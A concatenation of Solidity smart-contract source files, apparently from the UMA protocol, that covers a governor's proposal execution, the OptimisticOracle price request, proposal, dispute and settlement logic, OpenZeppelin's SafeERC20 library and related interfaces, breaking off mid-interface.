// Note: doing all of this array manipulation manually is necessary because directly setting an array of
// structs in storage to an an array of structs in memory is currently not implemented in solidity :/.
// Add a zero-initialized element to the proposals array.
proposals.push();
// Initialize the new proposal.
Proposal storage proposal = proposals[id];
proposal.requestTime = time;
// Initialize the transaction array.
for (uint256 i = 0; i < transactions.length; i++) {
require(transactions[i].to != address(0), "The `to` address cannot be 0x0");
// If the transaction has any data with it the recipient must be a contract, not an EOA.
if (transactions[i].data.length > 0) {
require(transactions[i].to.isContract(), "EOA can't accept tx with data");
}
proposal.transactions.push(transactions[i]);
}
bytes32 identifier = _constructIdentifier(id);
// Request a vote on this proposal in the DVM.
OracleInterface oracle = _getOracle();
IdentifierWhitelistInterface supportedIdentifiers = _getIdentifierWhitelist();
supportedIdentifiers.addSupportedIdentifier(identifier);
oracle.requestPrice(identifier, time);
supportedIdentifiers.removeSupportedIdentifier(identifier);
emit NewProposal(id, transactions);
}
/**
* @notice Executes a proposed governance action that has been approved by voters.
* @dev This can be called by any address. Caller is expected to send enough ETH to execute payable transactions.
* @param id unique id for the executed proposal.
* @param transactionIndex unique transaction index for the executed proposal.
*/
function executeProposal(uint256 id, uint256 transactionIndex) external payable {
Proposal storage proposal = proposals[id];
int256 price = _getOracle().getPrice(_constructIdentifier(id), proposal.requestTime);
Transaction memory transaction = proposal.transactions[transactionIndex];
require(
transactionIndex == 0 || proposal.transactions[transactionIndex.sub(1)].to == address(0),
"Previous tx not yet executed"
);
require(transaction.to != address(0), "Tx already executed");
require(price != 0, "Proposal was rejected");
require(msg.value == transaction.value, "Must send exact amount of ETH");
// Delete the transaction before execution to avoid any potential re-entrancy issues.
delete proposal.transactions[transactionIndex];
require(_executeCall(transaction.to, transaction.value, transaction.data), "Tx execution failed");
emit ProposalExecuted(id, transactionIndex);
}
/****************************************
* GOVERNOR STATE GETTERS *
****************************************/
/**
* @notice Gets the total number of proposals (includes executed and non-executed).
* @return uint256 representing the current number of proposals.
*/
function numProposals() external view returns (uint256) {
return proposals.length;
}
/**
* @notice Gets the proposal data for a particular id.
* @dev after a proposal is executed, its data will be zeroed out, except for the request time.
* @param id uniquely identify the identity of the proposal.
* @return proposal struct containing transactions[] and requestTime.
*/
function getProposal(uint256 id) external view returns (Proposal memory) {
return proposals[id];
}
/****************************************
* PRIVATE GETTERS AND FUNCTIONS *
****************************************/
function _executeCall(
address to,
uint256 value,
bytes memory data
) private returns (bool) {
// Mostly copied from:
// solhint-disable-next-line max-line-length
// https://github.com/gnosis/safe-contracts/blob/59cfdaebcd8b87a0a32f87b50fead092c10d3a05/contracts/base/Executor.sol#L23-L31
// solhint-disable-next-line no-inline-assembly
bool success;
assembly {
let inputData := add(data, 0x20)
let inputDataSize := mload(data)
success := call(gas(), to, value, inputData, inputDataSize, 0, 0)
}
return success;
}
function _getOracle() private view returns (OracleInterface) {
return OracleInterface(finder.getImplementationAddress(OracleInterfaces.Oracle));
}
function _getIdentifierWhitelist() private view returns (IdentifierWhitelistInterface supportedIdentifiers) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
// Returns a UTF-8 identifier representing a particular admin proposal.
// The identifier is of the form "Admin n", where n is the proposal id provided.
function _constructIdentifier(uint256 id) internal pure returns (bytes32) {
bytes32 bytesId = _uintToUtf8(id);
return _addPrefix(bytesId, "Admin ", 6);
}
// This method converts the integer `v` into a base-10, UTF-8 representation stored in a `bytes32` type.
// If the input cannot be represented by 32 base-10 digits, it returns only the highest 32 digits.
// This method is based off of this code: https://ethereum.stackexchange.com/a/6613/47801.
function _uintToUtf8(uint256 v) internal pure returns (bytes32) {
bytes32 ret;
if (v == 0) {
// Handle 0 case explicitly.
ret = "0";
} else {
// Constants.
uint256 bitsPerByte = 8;
uint256 base = 10; // Note: the output should be base-10. The below implementation will not work for bases > 10.
uint256 utf8NumberOffset = 48;
while (v > 0) {
// Downshift the entire bytes32 to allow the new digit to be added at the "front" of the bytes32, which
// translates to the beginning of the UTF-8 representation.
ret = ret >> bitsPerByte;
// Separate the last digit that remains in v by modding by the base of desired output representation.
uint256 leastSignificantDigit = v % base;
// Digits 0-9 are represented by 48-57 in UTF-8, so an offset must be added to create the character.
bytes32 utf8Digit = bytes32(leastSignificantDigit + utf8NumberOffset);
// The top byte of ret has already been cleared to make room for the new digit.
// Upshift by 31 bytes to put it in position, and OR it with ret to leave the other characters untouched.
ret |= utf8Digit << (31 * bitsPerByte);
// Divide v by the base to remove the digit that was just added.
v /= base;
}
}
return ret;
}
// This method takes two UTF-8 strings represented as bytes32 and outputs one as a prefixed by the other.
// `input` is the UTF-8 that should have the prefix prepended.
// `prefix` is the UTF-8 that should be prepended onto input.
// `prefixLength` is number of UTF-8 characters represented by `prefix`.
// Notes:
// 1. If the resulting UTF-8 is larger than 32 characters, then only the first 32 characters will be represented
// by the bytes32 output.
// 2. If `prefix` has more characters than `prefixLength`, the function will produce an invalid result.
function _addPrefix(
bytes32 input,
bytes32 prefix,
uint256 prefixLength
) internal pure returns (bytes32) {
// Downshift `input` to open space at the "front" of the bytes32
bytes32 shiftedInput = input >> (prefixLength * 8);
return shiftedInput | prefix;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../Governor.sol";
// GovernorTest exposes internal methods in the Governor for testing.
contract GovernorTest is Governor {
constructor(address _timerAddress) public Governor(address(0), 0, _timerAddress) {}
function addPrefix(
bytes32 input,
bytes32 prefix,
uint256 prefixLength
) external pure returns (bytes32) {
return _addPrefix(input, prefix, prefixLength);
}
function uintToUtf8(uint256 v) external pure returns (bytes32 ret) {
return _uintToUtf8(v);
}
function constructIdentifier(uint256 id) external pure returns (bytes32 identifier) {
return _constructIdentifier(id);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../interfaces/StoreInterface.sol";
import "../interfaces/OracleAncillaryInterface.sol";
import "../interfaces/FinderInterface.sol";
import "../interfaces/IdentifierWhitelistInterface.sol";
import "../interfaces/OptimisticOracleInterface.sol";
import "./Constants.sol";
import "../../common/implementation/Testable.sol";
import "../../common/implementation/Lockable.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/AddressWhitelist.sol";
/**
* @title Optimistic Requester.
* @notice Optional interface that requesters can implement to receive callbacks.
* @dev this contract does _not_ work with ERC777 collateral currencies or any others that call into the receiver on
* transfer(). Using an ERC777 token would allow a user to maliciously grief other participants (while also losing
* money themselves).
*/
interface OptimisticRequester {
/**
* @notice Callback for proposals.
* @param identifier price identifier being requested.
* @param timestamp timestamp of the price being requested.
* @param ancillaryData ancillary data of the price being requested.
*/
function priceProposed(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external;
/**
* @notice Callback for disputes.
* @param identifier price identifier being requested.
* @param timestamp timestamp of the price being requested.
* @param ancillaryData ancillary data of the price being requested.
* @param refund refund received in the case that refundOnDispute was enabled.
*/
function priceDisputed(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
uint256 refund
) external;
/**
* @notice Callback for settlement.
* @param identifier price identifier being requested.
* @param timestamp timestamp of the price being requested.
* @param ancillaryData ancillary data of the price being requested.
* @param price price that was resolved by the escalation process.
*/
function priceSettled(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
int256 price
) external;
}
/**
* @title Optimistic Oracle.
* @notice Pre-DVM escalation contract that allows faster settlement.
*/
contract OptimisticOracle is OptimisticOracleInterface, Testable, Lockable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
event RequestPrice(
address indexed requester,
bytes32 identifier,
uint256 timestamp,
bytes ancillaryData,
address currency,
uint256 reward,
uint256 finalFee
);
event ProposePrice(
address indexed requester,
address indexed proposer,
bytes32 identifier,
uint256 timestamp,
bytes ancillaryData,
int256 proposedPrice,
uint256 expirationTimestamp,
address currency
);
event DisputePrice(
address indexed requester,
address indexed proposer,
address indexed disputer,
bytes32 identifier,
uint256 timestamp,
bytes ancillaryData,
int256 proposedPrice
);
event Settle(
address indexed requester,
address indexed proposer,
address indexed disputer,
bytes32 identifier,
uint256 timestamp,
bytes ancillaryData,
int256 price,
uint256 payout
);
mapping(bytes32 => Request) public requests;
// Finder to provide addresses for DVM contracts.
FinderInterface public finder;
// Default liveness value for all price requests.
uint256 public defaultLiveness;
/**
* @notice Constructor.
* @param _liveness default liveness applied to each price request.
* @param _finderAddress finder to use to get addresses of DVM contracts.
* @param _timerAddress address of the timer contract. Should be 0x0 in prod.
*/
constructor(
uint256 _liveness,
address _finderAddress,
address _timerAddress
) public Testable(_timerAddress) {
finder = FinderInterface(_finderAddress);
_validateLiveness(_liveness);
defaultLiveness = _liveness;
}
/**
* @notice Requests a new price.
* @param identifier price identifier being requested.
* @param timestamp timestamp of the price being requested.
* @param ancillaryData ancillary data representing additional args being passed with the price request.
* @param currency ERC20 token used for payment of rewards and fees. Must be approved for use with the DVM.
* @param reward reward offered to a successful proposer. Will be pulled from the caller. Note: this can be 0,
* which could make sense if the contract requests and proposes the value in the same call or
* provides its own reward system.
* @return totalBond default bond (final fee) + final fee that the proposer and disputer will be required to pay.
* This can be changed with a subsequent call to setBond().
*/
function requestPrice(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
IERC20 currency,
uint256 reward
) external override nonReentrant() returns (uint256 totalBond) {
require(getState(msg.sender, identifier, timestamp, ancillaryData) == State.Invalid, "requestPrice: Invalid");
require(_getIdentifierWhitelist().isIdentifierSupported(identifier), "Unsupported identifier");
require(_getCollateralWhitelist().isOnWhitelist(address(currency)), "Unsupported currency");
require(timestamp <= getCurrentTime(), "Timestamp in future");
require(ancillaryData.length <= ancillaryBytesLimit, "Invalid ancillary data");
uint256 finalFee = _getStore().computeFinalFee(address(currency)).rawValue;
requests[_getId(msg.sender, identifier, timestamp, ancillaryData)] = Request({
proposer: address(0),
disputer: address(0),
currency: currency,
settled: false,
refundOnDispute: false,
proposedPrice: 0,
resolvedPrice: 0,
expirationTime: 0,
reward: reward,
finalFee: finalFee,
bond: finalFee,
customLiveness: 0
});
if (reward > 0) {
currency.safeTransferFrom(msg.sender, address(this), reward);
}
emit RequestPrice(msg.sender, identifier, timestamp, ancillaryData, address(currency), reward, finalFee);
// This function returns the initial proposal bond for this request, which can be customized by calling
// setBond() with the same identifier and timestamp.
return finalFee.mul(2);
}
/**
* @notice Set the proposal bond associated with a price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param bond custom bond amount to set.
* @return totalBond new bond + final fee that the proposer and disputer will be required to pay. This can be
* changed again with a subsequent call to setBond().
*/
function setBond(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
uint256 bond
) external override nonReentrant() returns (uint256 totalBond) {
require(getState(msg.sender, identifier, timestamp, ancillaryData) == State.Requested, "setBond: Requested");
Request storage request = _getRequest(msg.sender, identifier, timestamp, ancillaryData);
request.bond = bond;
// Total bond is the final fee + the newly set bond.
return bond.add(request.finalFee);
}
/**
* @notice Sets the request to refund the reward if the proposal is disputed. This can help to "hedge" the caller
* in the event of a dispute-caused delay. Note: in the event of a dispute, the winner still receives the other's
* bond, so there is still profit to be made even if the reward is refunded.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
*/
function setRefundOnDispute(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external override nonReentrant() {
require(
getState(msg.sender, identifier, timestamp, ancillaryData) == State.Requested,
"setRefundOnDispute: Requested"
);
_getRequest(msg.sender, identifier, timestamp, ancillaryData).refundOnDispute = true;
}
/**
* @notice Sets a custom liveness value for the request. Liveness is the amount of time a proposal must wait before
* being auto-resolved.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param customLiveness new custom liveness.
*/
function setCustomLiveness(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
uint256 customLiveness
) external override nonReentrant() {
require(
getState(msg.sender, identifier, timestamp, ancillaryData) == State.Requested,
"setCustomLiveness: Requested"
);
_validateLiveness(customLiveness);
_getRequest(msg.sender, identifier, timestamp, ancillaryData).customLiveness = customLiveness;
}
/**
* @notice Proposes a price value on another address' behalf. Note: this address will receive any rewards that come
* from this proposal. However, any bonds are pulled from the caller.
* @param proposer address to set as the proposer.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param proposedPrice price being proposed.
* @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to
* the proposer once settled if the proposal is correct.
*/
function proposePriceFor(
address proposer,
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
int256 proposedPrice
) public override nonReentrant() returns (uint256 totalBond) {
require(proposer != address(0), "proposer address must be non 0");
require(
getState(requester, identifier, timestamp, ancillaryData) == State.Requested,
"proposePriceFor: Requested"
);
Request storage request = _getRequest(requester, identifier, timestamp, ancillaryData);
request.proposer = proposer;
request.proposedPrice = proposedPrice;
// If a custom liveness has been set, use it instead of the default.
request.expirationTime = getCurrentTime().add(
request.customLiveness != 0 ? request.customLiveness : defaultLiveness
);
totalBond = request.bond.add(request.finalFee);
if (totalBond > 0) {
request.currency.safeTransferFrom(msg.sender, address(this), totalBond);
}
emit ProposePrice(
requester,
proposer,
identifier,
timestamp,
ancillaryData,
proposedPrice,
request.expirationTime,
address(request.currency)
);
// Callback.
if (address(requester).isContract())
try OptimisticRequester(requester).priceProposed(identifier, timestamp, ancillaryData) {} catch {}
}
/**
* @notice Proposes a price value for an existing price request.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param proposedPrice price being proposed.
* @return totalBond the amount that's pulled from the proposer's wallet as a bond. The bond will be returned to
* the proposer once settled if the proposal is correct.
*/
function proposePrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
int256 proposedPrice
) external override returns (uint256 totalBond) {
// Note: re-entrancy guard is done in the inner call.
return proposePriceFor(msg.sender, requester, identifier, timestamp, ancillaryData, proposedPrice);
}
/**
* @notice Disputes a price request with an active proposal on another address' behalf. Note: this address will
* receive any rewards that come from this dispute. However, any bonds are pulled from the caller.
* @param disputer address to set as the disputer.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to
* the disputer once settled if the dispute was valid (the proposal was incorrect).
*/
function disputePriceFor(
address disputer,
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public override nonReentrant() returns (uint256 totalBond) {
require(disputer != address(0), "disputer address must be non 0");
require(
getState(requester, identifier, timestamp, ancillaryData) == State.Proposed,
"disputePriceFor: Proposed"
);
Request storage request = _getRequest(requester, identifier, timestamp, ancillaryData);
request.disputer = disputer;
uint256 finalFee = request.finalFee;
uint256 bond = request.bond;
totalBond = bond.add(finalFee);
if (totalBond > 0) {
request.currency.safeTransferFrom(msg.sender, address(this), totalBond);
}
StoreInterface store = _getStore();
// Avoids stack too deep compilation error.
{
// Along with the final fee, "burn" part of the loser's bond to ensure that a larger bond always makes it
// proportionally more expensive to delay the resolution even if the proposer and disputer are the same
// party.
uint256 burnedBond = _computeBurnedBond(request);
// The total fee is the burned bond and the final fee added together.
uint256 totalFee = finalFee.add(burnedBond);
if (totalFee > 0) {
request.currency.safeIncreaseAllowance(address(store), totalFee);
_getStore().payOracleFeesErc20(address(request.currency), FixedPoint.Unsigned(totalFee));
}
}
_getOracle().requestPrice(identifier, timestamp, _stampAncillaryData(ancillaryData, requester));
// Compute refund.
uint256 refund = 0;
if (request.reward > 0 && request.refundOnDispute) {
refund = request.reward;
request.reward = 0;
request.currency.safeTransfer(requester, refund);
}
emit DisputePrice(
requester,
request.proposer,
disputer,
identifier,
timestamp,
ancillaryData,
request.proposedPrice
);
// Callback.
if (address(requester).isContract())
try OptimisticRequester(requester).priceDisputed(identifier, timestamp, ancillaryData, refund) {} catch {}
}
/**
* @notice Disputes a price value for an existing price request with an active proposal.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return totalBond the amount that's pulled from the disputer's wallet as a bond. The bond will be returned to
* the disputer once settled if the dispute was valid (the proposal was incorrect).
*/
function disputePrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external override returns (uint256 totalBond) {
// Note: re-entrancy guard is done in the inner call.
return disputePriceFor(msg.sender, requester, identifier, timestamp, ancillaryData);
}
/**
* @notice Retrieves a price that was previously requested by a caller. Reverts if the request is not settled
* or settleable. Note: this method is not view so that this call may actually settle the price request if it
* hasn't been settled.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return resolved price.
*/
function settleAndGetPrice(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external override nonReentrant() returns (int256) {
if (getState(msg.sender, identifier, timestamp, ancillaryData) != State.Settled) {
_settle(msg.sender, identifier, timestamp, ancillaryData);
}
return _getRequest(msg.sender, identifier, timestamp, ancillaryData).resolvedPrice;
}
/**
* @notice Attempts to settle an outstanding price request. Will revert if it isn't settleable.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return payout the amount that the "winner" (proposer or disputer) receives on settlement. This amount includes
* the returned bonds as well as additional rewards.
*/
function settle(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external override nonReentrant() returns (uint256 payout) {
return _settle(requester, identifier, timestamp, ancillaryData);
}
/**
* @notice Gets the current data structure containing all information about a price request.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return the Request data structure.
*/
function getRequest(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view override returns (Request memory) {
return _getRequest(requester, identifier, timestamp, ancillaryData);
}
/**
* @notice Computes the current state of a price request. See the State enum for more details.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return the State.
*/
function getState(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view override returns (State) {
Request storage request = _getRequest(requester, identifier, timestamp, ancillaryData);
if (address(request.currency) == address(0)) {
return State.Invalid;
}
if (request.proposer == address(0)) {
return State.Requested;
}
if (request.settled) {
return State.Settled;
}
if (request.disputer == address(0)) {
return request.expirationTime <= getCurrentTime() ? State.Expired : State.Proposed;
}
return
_getOracle().hasPrice(identifier, timestamp, _stampAncillaryData(ancillaryData, requester))
? State.Resolved
: State.Disputed;
}
/**
* @notice Checks if a given request has resolved, expired or been settled (i.e the optimistic oracle has a price).
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return boolean indicating true if price exists and false if not.
*/
function hasPrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view override returns (bool) {
State state = getState(requester, identifier, timestamp, ancillaryData);
return state == State.Settled || state == State.Resolved || state == State.Expired;
}
/**
* @notice Generates stamped ancillary data in the format that it would be used in the case of a price dispute.
* @param ancillaryData ancillary data of the price being requested.
* @param requester sender of the initial price request.
* @return the stampped ancillary bytes.
*/
function stampAncillaryData(bytes memory ancillaryData, address requester) public pure returns (bytes memory) {
return _stampAncillaryData(ancillaryData, requester);
}
function _getId(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) private pure returns (bytes32) {
return keccak256(abi.encodePacked(requester, identifier, timestamp, ancillaryData));
}
function _settle(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) private returns (uint256 payout) {
State state = getState(requester, identifier, timestamp, ancillaryData);
// Set it to settled so this function can never be entered again.
Request storage request = _getRequest(requester, identifier, timestamp, ancillaryData);
request.settled = true;
if (state == State.Expired) {
// In the expiry case, just pay back the proposer's bond and final fee along with the reward.
request.resolvedPrice = request.proposedPrice;
payout = request.bond.add(request.finalFee).add(request.reward);
request.currency.safeTransfer(request.proposer, payout);
} else if (state == State.Resolved) {
// In the Resolved case, pay either the disputer or the proposer the entire payout (+ bond and reward).
request.resolvedPrice = _getOracle().getPrice(
identifier,
timestamp,
_stampAncillaryData(ancillaryData, requester)
);
bool disputeSuccess = request.resolvedPrice != request.proposedPrice;
uint256 bond = request.bond;
// Unburned portion of the loser's bond = 1 - burned bond.
uint256 unburnedBond = bond.sub(_computeBurnedBond(request));
// Winner gets:
// - Their bond back.
// - The unburned portion of the loser's bond.
// - Their final fee back.
// - The request reward (if not already refunded -- if refunded, it will be set to 0).
payout = bond.add(unburnedBond).add(request.finalFee).add(request.reward);
request.currency.safeTransfer(disputeSuccess ? request.disputer : request.proposer, payout);
} else {
revert("_settle: not settleable");
}
emit Settle(
requester,
request.proposer,
request.disputer,
identifier,
timestamp,
ancillaryData,
request.resolvedPrice,
payout
);
// Callback.
if (address(requester).isContract())
try
OptimisticRequester(requester).priceSettled(identifier, timestamp, ancillaryData, request.resolvedPrice)
{} catch {}
}
function _getRequest(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) private view returns (Request storage) {
return requests[_getId(requester, identifier, timestamp, ancillaryData)];
}
function _computeBurnedBond(Request storage request) private view returns (uint256) {
// burnedBond = floor(bond / 2)
return request.bond.div(2);
}
function _validateLiveness(uint256 _liveness) private pure {
require(_liveness < 5200 weeks, "Liveness too large");
require(_liveness > 0, "Liveness cannot be 0");
}
function _getOracle() internal view returns (OracleAncillaryInterface) {
return OracleAncillaryInterface(finder.getImplementationAddress(OracleInterfaces.Oracle));
}
function _getCollateralWhitelist() internal view returns (AddressWhitelist) {
return AddressWhitelist(finder.getImplementationAddress(OracleInterfaces.CollateralWhitelist));
}
function _getStore() internal view returns (StoreInterface) {
return StoreInterface(finder.getImplementationAddress(OracleInterfaces.Store));
}
function _getIdentifierWhitelist() internal view returns (IdentifierWhitelistInterface) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
// Stamps the ancillary data blob with the optimistic oracle tag denoting what contract requested it.
function _stampAncillaryData(bytes memory ancillaryData, address requester) internal pure returns (bytes memory) {
return abi.encodePacked(ancillaryData, "OptimisticOracle", requester);
}
}
pragma solidity ^0.6.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../../common/implementation/FixedPoint.sol";
/**
* @title Interface that allows financial contracts to pay oracle fees for their use of the system.
*/
interface StoreInterface {
/**
* @notice Pays Oracle fees in ETH to the store.
* @dev To be used by contracts whose margin currency is ETH.
*/
function payOracleFees() external payable;
/**
* @notice Pays oracle fees in the margin currency, erc20Address, to the store.
* @dev To be used if the margin currency is an ERC20 token rather than ETH.
* @param erc20Address address of the ERC20 token used to pay the fee.
* @param amount number of tokens to transfer. An approval for at least this amount must exist.
*/
function payOracleFeesErc20(address erc20Address, FixedPoint.Unsigned calldata amount) external;
/**
* @notice Computes the regular oracle fees that a contract should pay for a period.
* @param startTime defines the beginning time from which the fee is paid.
* @param endTime end time until which the fee is paid.
* @param pfc "profit from corruption", or the maximum amount of margin currency that a
* token sponsor could extract from the contract through corrupting the price feed in their favor.
* @return regularFee amount owed for the duration from start to end time for the given pfc.
* @return latePenalty for paying the fee after the deadline.
*/
function computeRegularFee(
uint256 startTime,
uint256 endTime,
FixedPoint.Unsigned calldata pfc
) external view returns (FixedPoint.Unsigned memory regularFee, FixedPoint.Unsigned memory latePenalty);
/**
* @notice Computes the final oracle fees that a contract should pay at settlement.
* @param currency token used to pay the final fee.
* @return finalFee amount due.
*/
function computeFinalFee(address currency) external view returns (FixedPoint.Unsigned memory);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title Financial contract facing Oracle interface.
* @dev Interface used by financial contracts to interact with the Oracle. Voters will use a different interface.
*/
abstract contract OptimisticOracleInterface {
// Struct representing the state of a price request.
enum State {
Invalid, // Never requested.
Requested, // Requested, no other actions taken.
Proposed, // Proposed, but not expired or disputed yet.
Expired, // Proposed, not disputed, past liveness.
Disputed, // Disputed, but no DVM price returned yet.
Resolved, // Disputed and DVM price is available.
Settled // Final price has been set in the contract (can get here from Expired or Resolved).
}
// Struct representing a price request.
struct Request {
address proposer; // Address of the proposer.
address disputer; // Address of the disputer.
IERC20 currency; // ERC20 token used to pay rewards and fees.
bool settled; // True if the request is settled.
bool refundOnDispute; // True if the requester should be refunded their reward on dispute.
int256 proposedPrice; // Price that the proposer submitted.
int256 resolvedPrice; // Price resolved once the request is settled.
uint256 expirationTime; // Time at which the request auto-settles without a dispute.
uint256 reward; // Amount of the currency to pay to the proposer on settlement.
uint256 finalFee; // Final fee to pay to the Store upon request to the DVM.
uint256 bond; // Bond that the proposer and disputer must pay on top of the final fee.
uint256 customLiveness; // Custom liveness value set by the requester.
}
// This value must be <= the Voting contract's `ancillaryBytesLimit` value otherwise it is possible
// that a price can be requested to this contract successfully, but cannot be disputed because the DVM refuses
// to accept a price request made with ancillary data length of a certain size.
uint256 public constant ancillaryBytesLimit = 8192;
/**
* @notice Requests a new price.
* @param identifier price identifier being requested.
* @param timestamp timestamp of the price being requested.
* @param ancillaryData ancillary data representing additional args being passed with the price request.
* @param currency ERC20 token used for payment of rewards and fees. Must be approved for use with the DVM.
* @param reward reward offered to a successful proposer. Will be pulled from the caller. Note: this can be 0,
* which could make sense if the contract requests and proposes the value in the same call or
* provides its own reward system.
* @return totalBond default bond (final fee) + final fee that the proposer and disputer will be required to pay.
* This can be changed with a subsequent call to setBond().
*/
function requestPrice(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
IERC20 currency,
uint256 reward
) external virtual returns (uint256 totalBond);
/**
* @notice Set the proposal bond associated with a price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param bond custom bond amount to set.
* @return totalBond new bond + final fee that the proposer and disputer will be required to pay. This can be
* changed again with a subsequent call to setBond().
*/
function setBond(
bytes32 identifier,
uint256 timestamp,
